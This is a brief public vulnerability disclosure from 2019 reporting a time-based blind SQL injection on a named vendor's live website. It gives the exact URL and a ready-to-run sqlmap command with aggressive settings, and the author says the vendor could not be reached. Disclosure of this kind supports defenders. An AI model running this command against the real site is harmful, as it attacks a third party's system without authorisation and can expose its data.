Netis-Systems Website - Sql injection

2019.03.31

Selim Can Özdemir (TR)

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

Url :    http://www.netis-systems.com/Suppory/de_details/id/1/de/138.html

Vulnerability :    Time-based blind sql injection.

Payload :    sqlmap -u "http://www.netis-systems.com/Suppory/de_details/id/1/de/138*.html" --level=5 --risk=3 --random-agent

--------------------
Sorry for it guys. I tried to contact you over and over again, but I couldn't. You should fix your mailbox.
--------------------

Special thanks to : İbrahim Şeker

References:

http://www.netis-systems.com/

See this note in RAW Version

Vote for this issue:

100%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Netis-Systems Website - Sql injection

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.